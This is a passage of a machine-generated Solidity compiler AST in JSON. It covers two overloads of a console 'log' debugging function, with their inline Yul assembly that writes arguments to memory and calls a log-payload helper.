998],"declarations":[{"constant":false,"id":38998,"mutability":"mutable","name":"m0","nameLocation":"161088:2:22","nodeType":"VariableDeclaration","scope":39019,"src":"161080:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38997,"name":"bytes32","nodeType":"ElementaryTypeName","src":"161080:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38999,"nodeType":"VariableDeclarationStatement","src":"161080:10:22"},{"assignments":[39001],"declarations":[{"constant":false,"id":39001,"mutability":"mutable","name":"m1","nameLocation":"161108:2:22","nodeType":"VariableDeclaration","scope":39019,"src":"161100:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39000,"name":"bytes32","nodeType":"ElementaryTypeName","src":"161100:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39002,"nodeType":"VariableDeclarationStatement","src":"161100:10:22"},{"assignments":[39004],"declarations":[{"constant":false,"id":39004,"mutability":"mutable","name":"m2","nameLocation":"161128:2:22","nodeType":"VariableDeclaration","scope":39019,"src":"161120:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39003,"name":"bytes32","nodeType":"ElementaryTypeName","src":"161120:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39005,"nodeType":"VariableDeclarationStatement","src":"161120:10:22"},{"assignments":[39007],"declarations":[{"constant":false,"id":39007,"mutability":"mutable","name":"m3","nameLocation":"161148:2:22","nodeType":"VariableDeclaration","scope":39019,"src":"161140:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39006,"name":"bytes32","nodeType":"ElementaryTypeName","src":"161140:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39008,"nodeType":"VariableDeclarationStatement","src":"161140:10:22"},{"assignments":[39010],"declarations":[{"constant":false,"id":39010,"mutability":"mutable","name":"m4","nameLocation":"161168:2:22","nodeType":"VariableDeclaration","scope":39019,"src":"161160:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39009,"name":"bytes32","nodeType":"ElementaryTypeName","src":"161160:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39011,"nodeType":"VariableDeclarationStatement","src":"161160:10:22"},{"AST":{"nativeSrc":"161189:372:22","nodeType":"YulBlock","src":"161189:372:22","statements":[{"nativeSrc":"161203:17:22","nodeType":"YulAssignment","src":"161203:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"161215:4:22","nodeType":"YulLiteral","src":"161215:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"161209:5:22","nodeType":"YulIdentifier","src":"161209:5:22"},"nativeSrc":"161209:11:22","nodeType":"YulFunctionCall","src":"161209:11:22"},"variableNames":[{"name":"m0","nativeSrc":"161203:2:22","nodeType":"YulIdentifier","src":"161203:2:22"}]},{"nativeSrc":"161233:17:22","nodeType":"YulAssignment","src":"161233:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"161245:4:22","nodeType":"YulLiteral","src":"161245:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"161239:5:22","nodeType":"YulIdentifier","src":"161239:5:22"},"nativeSrc":"161239:11:22","nodeType":"YulFunctionCall","src":"161239:11:22"},"variableNames":[{"name":"m1","nativeSrc":"161233:2:22","nodeType":"YulIdentifier","src":"161233:2:22"}]},{"nativeSrc":"161263:17:22","nodeType":"YulAssignment","src":"161263:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"161275:4:22","nodeType":"YulLiteral","src":"161275:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"161269:5:22","nodeType":"YulIdentifier","src":"161269:5:22"},"nativeSrc":"161269:11:22","nodeType":"YulFunctionCall","src":"161269:11:22"},"variableNames":[{"name":"m2","nativeSrc":"161263:2:22","nodeType":"YulIdentifier","src":"161263:2:22"}]},{"nativeSrc":"161293:17:22","nodeType":"YulAssignment","src":"161293:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"161305:4:22","nodeType":"YulLiteral","src":"161305:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"161299:5:22","nodeType":"YulIdentifier","src":"161299:5:22"},"nativeSrc":"161299:11:22","nodeType":"YulFunctionCall","src":"161299:11:22"},"variableNames":[{"name":"m3","nativeSrc":"161293:2:22","nodeType":"YulIdentifier","src":"161293:2:22"}]},{"nativeSrc":"161323:17:22","nodeType":"YulAssignment","src":"161323:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"161335:4:22","nodeType":"YulLiteral","src":"161335:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"161329:5:22","nodeType":"YulIdentifier","src":"161329:5:22"},"nativeSrc":"161329:11:22","nodeType":"YulFunctionCall","src":"161329:11:22"},"variableNames":[{"name":"m4","nativeSrc":"161323:2:22","nodeType":"YulIdentifier","src":"161323:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"161418:4:22","nodeType":"YulLiteral","src":"161418:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"161424:10:22","nodeType":"YulLiteral","src":"161424:10:22","type":"","value":"0x6a9c478b"}],"functionName":{"name":"mstore","nativeSrc":"161411:6:22","nodeType":"YulIdentifier","src":"161411:6:22"},"nativeSrc":"161411:24:22","nodeType":"YulFunctionCall","src":"161411:24:22"},"nativeSrc":"161411:24:22","nodeType":"YulExpressionStatement","src":"161411:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"161455:4:22","nodeType":"YulLiteral","src":"161455:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"161461:2:22","nodeType":"YulIdentifier","src":"161461:2:22"}],"functionName":{"name":"mstore","nativeSrc":"161448:6:22","nodeType":"YulIdentifier","src":"161448:6:22"},"nativeSrc":"161448:16:22","nodeType":"YulFunctionCall","src":"161448:16:22"},"nativeSrc":"161448:16:22","nodeType":"YulExpressionStatement","src":"161448:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"161484:4:22","nodeType":"YulLiteral","src":"161484:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"161490:2:22","nodeType":"YulIdentifier","src":"161490:2:22"}],"functionName":{"name":"mstore","nativeSrc":"161477:6:22","nodeType":"YulIdentifier","src":"161477:6:22"},"nativeSrc":"161477:16:22","nodeType":"YulFunctionCall","src":"161477:16:22"},"nativeSrc":"161477:16:22","nodeType":"YulExpressionStatement","src":"161477:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"161513:4:22","nodeType":"YulLiteral","src":"161513:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"161519:2:22","nodeType":"YulIdentifier","src":"161519:2:22"}],"functionName":{"name":"mstore","nativeSrc":"161506:6:22","nodeType":"YulIdentifier","src":"161506:6:22"},"nativeSrc":"161506:16:22","nodeType":"YulFunctionCall","src":"161506:16:22"},"nativeSrc":"161506:16:22","nodeType":"YulExpressionStatement","src":"161506:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"161542:4:22","nodeType":"YulLiteral","src":"161542:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"161548:2:22","nodeType":"YulIdentifier","src":"161548:2:22"}],"functionName":{"name":"mstore","nativeSrc":"161535:6:22","nodeType":"YulIdentifier","src":"161535:6:22"},"nativeSrc":"161535:16:22","nodeType":"YulFunctionCall","src":"161535:16:22"},"nativeSrc":"161535:16:22","nodeType":"YulExpressionStatement","src":"161535:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38998,"isOffset":false,"isSlot":false,"src":"161203:2:22","valueSize":1},{"declaration":39001,"isOffset":false,"isSlot":false,"src":"161233:2:22","valueSize":1},{"declaration":39004,"isOffset":false,"isSlot":false,"src":"161263:2:22","valueSize":1},{"declaration":39007,"isOffset":false,"isSlot":false,"src":"161293:2:22","valueSize":1},{"declaration":39010,"isOffset":false,"isSlot":false,"src":"161323:2:22","valueSize":1},{"declaration":38988,"isOffset":false,"isSlot":false,"src":"161461:2:22","valueSize":1},{"declaration":38990,"isOffset":false,"isSlot":false,"src":"161490:2:22","valueSize":1},{"declaration":38992,"isOffset":false,"isSlot":false,"src":"161519:2:22","valueSize":1},{"declaration":38994,"isOffset":false,"isSlot":false,"src":"161548:2:22","valueSize":1}],"id":39012,"nodeType":"InlineAssembly","src":"161180:381:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39014,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"161586:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39015,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"161592:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39013,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"161570:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39016,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"161570:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39017,"nodeType":"ExpressionStatement","src":"161570:27:22"},{"AST":{"nativeSrc":"161616:156:22","nodeType":"YulBlock","src":"161616:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"161637:4:22","nodeType":"YulLiteral","src":"161637:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"161643:2:22","nodeType":"YulIdentifier","src":"161643:2:22"}],"functionName":{"name":"mstore","nativeSrc":"161630:6:22","nodeType":"YulIdentifier","src":"161630:6:22"},"nativeSrc":"161630:16:22","nodeType":"YulFunctionCall","src":"161630:16:22"},"nativeSrc":"161630:16:22","nodeType":"YulExpressionStatement","src":"161630:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"161666:4:22","nodeType":"YulLiteral","src":"161666:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"161672:2:22","nodeType":"YulIdentifier","src":"161672:2:22"}],"functionName":{"name":"mstore","nativeSrc":"161659:6:22","nodeType":"YulIdentifier","src":"161659:6:22"},"nativeSrc":"161659:16:22","nodeType":"YulFunctionCall","src":"161659:16:22"},"nativeSrc":"161659:16:22","nodeType":"YulExpressionStatement","src":"161659:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"161695:4:22","nodeType":"YulLiteral","src":"161695:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"161701:2:22","nodeType":"YulIdentifier","src":"161701:2:22"}],"functionName":{"name":"mstore","nativeSrc":"161688:6:22","nodeType":"YulIdentifier","src":"161688:6:22"},"nativeSrc":"161688:16:22","nodeType":"YulFunctionCall","src":"161688:16:22"},"nativeSrc":"161688:16:22","nodeType":"YulExpressionStatement","src":"161688:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"161724:4:22","nodeType":"YulLiteral","src":"161724:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"161730:2:22","nodeType":"YulIdentifier","src":"161730:2:22"}],"functionName":{"name":"mstore","nativeSrc":"161717:6:22","nodeType":"YulIdentifier","src":"161717:6:22"},"nativeSrc":"161717:16:22","nodeType":"YulFunctionCall","src":"161717:16:22"},"nativeSrc":"161717:16:22","nodeType":"YulExpressionStatement","src":"161717:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"161753:4:22","nodeType":"YulLiteral","src":"161753:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"161759:2:22","nodeType":"YulIdentifier","src":"161759:2:22"}],"functionName":{"name":"mstore","nativeSrc":"161746:6:22","nodeType":"YulIdentifier","src":"161746:6:22"},"nativeSrc":"161746:16:22","nodeType":"YulFunctionCall","src":"161746:16:22"},"nativeSrc":"161746:16:22","nodeType":"YulExpressionStatement","src":"161746:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38998,"isOffset":false,"isSlot":false,"src":"161643:2:22","valueSize":1},{"declaration":39001,"isOffset":false,"isSlot":false,"src":"161672:2:22","valueSize":1},{"declaration":39004,"isOffset":false,"isSlot":false,"src":"161701:2:22","valueSize":1},{"declaration":39007,"isOffset":false,"isSlot":false,"src":"161730:2:22","valueSize":1},{"declaration":39010,"isOffset":false,"isSlot":false,"src":"161759:2:22","valueSize":1}],"id":39018,"nodeType":"InlineAssembly","src":"161607:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"161013:3:22","parameters":{"id":38995,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38988,"mutability":"mutable","name":"p0","nameLocation":"161022:2:22","nodeType":"VariableDeclaration","scope":39020,"src":"161017:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38987,"name":"bool","nodeType":"ElementaryTypeName","src":"161017:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38990,"mutability":"mutable","name":"p1","nameLocation":"161034:2:22","nodeType":"VariableDeclaration","scope":39020,"src":"161026:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38989,"name":"address","nodeType":"ElementaryTypeName","src":"161026:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38992,"mutability":"mutable","name":"p2","nameLocation":"161043:2:22","nodeType":"VariableDeclaration","scope":39020,"src":"161038:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38991,"name":"bool","nodeType":"ElementaryTypeName","src":"161038:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38994,"mutability":"mutable","name":"p3","nameLocation":"161052:2:22","nodeType":"VariableDeclaration","scope":39020,"src":"161047:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38993,"name":"bool","nodeType":"ElementaryTypeName","src":"161047:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"161016:39:22"},"returnParameters":{"id":38996,"nodeType":"ParameterList","parameters":[],"src":"161070:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39054,"nodeType":"FunctionDefinition","src":"161784:780:22","nodes":[],"body":{"id":39053,"nodeType":"Block","src":"161853:711:22","nodes":[],"statements":[{"assignments":[39032],"declarations":[{"constant":false,"id":39032,"mutability":"mutable","name":"m0","nameLocation":"161871:2:22","nodeType":"VariableDeclaration","scope":39053,"src":"161863:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39031,"name":"bytes32","nodeType":"ElementaryTypeName","src":"161863:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39033,"nodeType":"VariableDeclarationStatement","src":"161863:10:22"},{"assignments":[39035],"declarations":[{"constant":false,"id":39035,"mutability":"mutable","name":"m1","nameLocation":"161891:2:22","nodeType":"VariableDeclaration","scope":39053,"src":"161883:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39034,"name":"bytes32","nodeType":"ElementaryTypeName","src":"161883:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39036,"nodeType":"VariableDeclarationStatement","src":"161883:10:22"},{"assignments":[39038],"declarations":[{"constant":false,"id":39038,"mutability":"mutable","name":"m2","nameLocation":"161911:2:22","nodeType":"VariableDeclaration","scope":39053,"src":"161903:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39037,"name":"bytes32","nodeType":"ElementaryTypeName","src":"161903:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39039,"nodeType":"VariableDeclarationStatement","src":"161903:10:22"},{"assignments":[39041],"declarations":[{"constant":false,"id":39041,"mutability":"mutable","name":"m3","nameLocation":"161931:2:22","nodeType":"VariableDeclaration","scope":39053,"src":"161923:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39040,"name":"bytes32","nodeType":"ElementaryTypeName","src":"161923:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39042,"nodeType":"VariableDeclarationStatement","src":"161923:10:22"},{"assignments":[39044],"declarations":[{"constant":false,"id":39044,"mutability":"mutable","name":"m4","nameLocation":"161951:2:22","nodeType":"VariableDeclaration","scope":39053,"src":"161943:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39043,"name":"bytes32","nodeType":"ElementaryTypeName","src":"161943:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39045,"nodeType":"VariableDeclarationStatement","src":"161943:10:22"},{"AST":{"nativeSrc":"161972:375:22","nodeType":"YulBlock","src":"161972:375:22","statements":[{"nativeSrc":"161986:17:22","nodeType":"YulAssignment","src":"161986:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"161998:4:22","nodeType":"YulLiteral","src":"161998:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"161992:5:22","nodeType":"YulIdentifier","src":"161992:5:22"},"nativeSrc":"161992:11:22","nodeType":"YulFunctionCall","src":"161992:11:22"},"variableNames":[{"name":"m0","nativeSrc":"161986:2:22","nodeType":"YulIdentifier","src":"161986:2:22"}]},{"nativeSrc":"162016:17:22","nodeType":"YulAssignment","src":"162016:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"162028:4:22","nodeType":"YulLiteral","src":"162028:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"162022:5:22","nodeType":"YulIdentifier","src":"162022:5:22"},"nativeSrc":"162022:11:22","nodeType":"YulFunctionCall","src":"162022:11:22"},"variableNames":[{"name":"m1","nativeSrc":"162016:2:22","nodeType":"YulIdentifier","src":"162016:2:22"}]},{"nativeSrc":"162046:17:22","nodeType":"YulAssignment","src":"162046:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"162058:4:22","nodeType":"YulLiteral","src":"162058:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"162052:5:22","nodeType":"YulIdentifier","src":"162052:5:22"},"nativeSrc":"162052:11:22","nodeType":"YulFunctionCall","src":"162052:11:22"},"variableNames":[{"name":"m2","nativeSrc":"162046:2:22","nodeType":"YulIdentifier","src":"162046:2:22"}]},{"nativeSrc":"162076:17:22","nodeType":"YulAssignment","src":"162076:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"162088:4:22","nodeType":"YulLiteral","src":"162088:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"162082:5:22","nodeType":"YulIdentifier","src":"162082:5:22"},"nativeSrc":"162082:11:22","nodeType":"YulFunctionCall","src":"162082:11:22"},"variableNames":[{"name":"m3","nativeSrc":"162076:2:22","nodeType":"YulIdentifier","src":"162076:2:22"}]},{"nativeSrc":"162106:17:22","nodeType":"YulAssignment","src":"162106:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"162118:4:22","nodeType":"YulLiteral","src":"162118:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"162112:5:22","nodeType":"YulIdentifier","src":"162112:5:22"},"nativeSrc":"162112:11:22","nodeType":"YulFunctionCall","src":"162112:11:22"},"variableNames":[{"name":"m4","nativeSrc":"162106:2:22","nodeType":"YulIdentifier","src":"162106:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"162204:4:22","nodeType":"YulLiteral","src":"162204:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"162210:10:22","nodeType":"YulLiteral","src":"162210:10:22","type":"","value":"0x07831502"}],"functionName":{"name":"mstore","nativeSrc":"162197:6:22","nodeType":"YulIdentifier","src":"162197:6:22"},"nativeSrc":"162197:24:22","nodeType":"YulFunctionCall","src":"162197:24:22"},"nativeSrc":"162197:24:22","nodeType":"YulExpressionStatement","src":"162197:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"162241:4:22","nodeType":"YulLiteral","src":"162241:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"162247:2:22","nodeType":"YulIdentifier","src":"162247:2:22"}],"functionName":{"name":"mstore","nativeSrc":"162234:6:22","nodeType":"YulIdentifier","src":"162234:6:22"},"nativeSrc":"162234:16:22","nodeType":"YulFunctionCall","src":"162234:16:22"},"nativeSrc":"162234:16:22","nodeType":"YulExpressionStatement","src":"162234:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"162270:4:22","nodeType":"YulLiteral","src":"162270:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"162276:2:22","nodeType":"YulIdentifier","src":"162276:2:22"}],"functionName":{"name":"mstore","nativeSrc":"162263:6:22","nodeType":"YulIdentifier","src":"162263:6:22"},"nativeSrc":"162263:16:22","nodeType":"YulFunctionCall","src":"162263:16:22"},"nativeSrc":"162263:16:22","nodeType":"YulExpressionStatement","src":"162263:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"162299:4:22","nodeType":"YulLiteral","src":"162299:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"162305:2:22","nodeType":"YulIdentifier","src":"162305:2:22"}],"functionName":{"name":"mstore","nativeSrc":"162292:6:22","nodeType":"YulIdentifier","src":"162292:6:22"},"nativeSrc":"162292:16:22","nodeType":"YulFunctionCall","src":"162292:16:22"},"nativeSrc":"162292:16:22","nodeType":"YulExpressionStatement","src":"162292:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"162328:4:22","nodeType":"YulLiteral","src":"162328:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"162334:2:22","nodeType":"YulIdentifier","src":"162334:2:22"}],"functionName":{"name":"mstore","nativeSrc":"162321:6:22","nodeType":"YulIdentifier","src":"162321:6:22"},"nativeSrc":"162321:16:22","nodeType":"YulFunctionCall","src":"162321:16:22"},"nativeSrc":"162321:16:22","nodeType":"YulExpressionStatement","src":"162321:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39032,"isOffset":false,"isSlot":false,"src":"161986:2:22","valueSize":1},{"declaration":39035,"isOffset":false,"isSlot":false,"src":"162016:2:22","valueSize":1},{"declaration":39038,"isOffset":false,"isSlot":false,"src":"162046:2:22","valueSize":1},{"declaration":39041,"isOffset":false,"isSlot":false,"src":"162076:2:22","valueSize":1},{"declaration":39044,"isOffset":false,"isSlot":false,"src":"162106:2:22","valueSize":1},{"declaration":39022,"isOffset":false,"isSlot":false,"src":"162247:2:22","valueSize":1},{"declaration":39024,"isOffset":false,"isSlot":false,"src":"162276:2:22","valueSize":1},{"declaration":39026,"isOffset":false,"isSlot":false,"src":"162305:2:22","valueSize":1},{"declaration":39028,"isOffset":false,"isSlot":false,"src":"162334:2:22","valueSize":1}],"id":39046,"nodeType":"InlineAssembly","src":"161963:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39048,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"162372:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39049,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"162378:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39047,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"162356:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39050,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"162356:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39051,"nodeType":"ExpressionStatement","src":"162356:27:22"},{"AST":{"nativeSrc":"162402:156:22","nodeType":"YulBlock","src":"162402:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"162423:4:22","nodeType":"YulLiteral","src":"162423:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"162429:2:22","nodeType":"YulIdentifier","src":"162429:2:22"}],"functionName":{"name":"mstore","nativeSrc":"162416:6:22","nodeType":"YulIdentifier","src":"162416:6:22"},"nativeSrc":"162416:16:22","nodeType":"YulFunctionCall","src":"162416:16:22"},"nativeSrc":"162416:16:22","nodeType":"YulExpressionStatement","src":"162416:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"162452:4:22","nodeType":"YulLiteral","src":"162452:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"162458:2:22","nodeType":"YulIdentifier","src":"162458:2:22"}],"functionName":{"name":"mstore","nativeSrc":"162445:6:22","nodeType":"YulIdentifier","src":"162445:6:22"},"nativeSrc":"162445:16:22","nodeType":"YulFunctionCall","src":"162445:16:22"},"nativeSrc":"162445:16:22","nodeType":"YulExpressionStatement","src":"162445:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"162481:4:22","nodeType":"YulLiteral","src":"162481:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"162487:2:22","nodeType":"YulIdentifier","src":"162487:2:22"}],"functionName":{"name":"mstore","nativeSrc":"162474:6:22","nodeType":"YulIdentifier","src":"162474:6:22"},"nativeSrc":"162474:16:22","nodeType":"YulFunctionCall","src":"162474:16:22"},"nativeSrc":"162474:16:22","nodeType":"YulExpressionStatement","src":"162474:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"162510:4:22","nodeType":"YulLiteral","src":"162510:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"162516:2:22","nodeType":"YulIdentifier","src":"162516:2:22"}],"functionName":{"name":"mstore","nativeSrc":"162503:6:22","nodeType":"YulIdentifier","src":"162503:6:22"},"nativeSrc":"162503:16:22","nodeType":"YulFunctionCall","src":"162503:16:22"},"nativeSrc":"162503:16:22","nodeType":"YulExpressionStatement","src":"162503:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"162539:4:22","nodeType":"YulLiteral","src":"162539:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"162545:2:22","nodeType":"YulIdentifier","src":"162545:2:22"}],"functionName":{"name":"mstore","nativeSrc":"162532:6:22","nodeType":"YulIdentifier","src":"162532:6:22"},"nativeSrc":"162532:16:22","nodeType":"YulFunctionCall","src":"162532:16:22"},"nativeSrc":"162532:16:22","nodeType":"YulExpressionStatement","src":"162532:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39032,"isOffset":false,"isSlot":false,"src":"162429:2:22","valueSize":1},{"declaration":39035,"isOffset":false,"isSlot":false,"src":"162458:2:22","valueSize":1},{"declaration":39038,"isOffset":false,"isSlot":false,"src":"162487:2:22","valueSize":1},{"declaration":39041,"isOffset":false,"isSlot":false,"src":"162516:2:22","valueSize":1},{"declaration":39044,"isOffset":false,"isSlot":false,"src":"162545:2:22","valueSize":1}],"id":39052,"nodeType":"InlineAssembly","src":"162393:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"161793:3:22","parameters":{"id":39029,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39022,"mutability":"mutable","name":"p0","nameLocation":"161802:2:22","nodeType":"VariableDeclaration","scope":39054,"src":"161797:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39021,"name":"bool","nodeType":"ElementaryTypeName","src":"161797:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39024,"mutability":"mutable","name":"p1","nameLocation":"161814:2:22","nodeType":"VariableDeclaration","scope":39054,"src":"161806:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"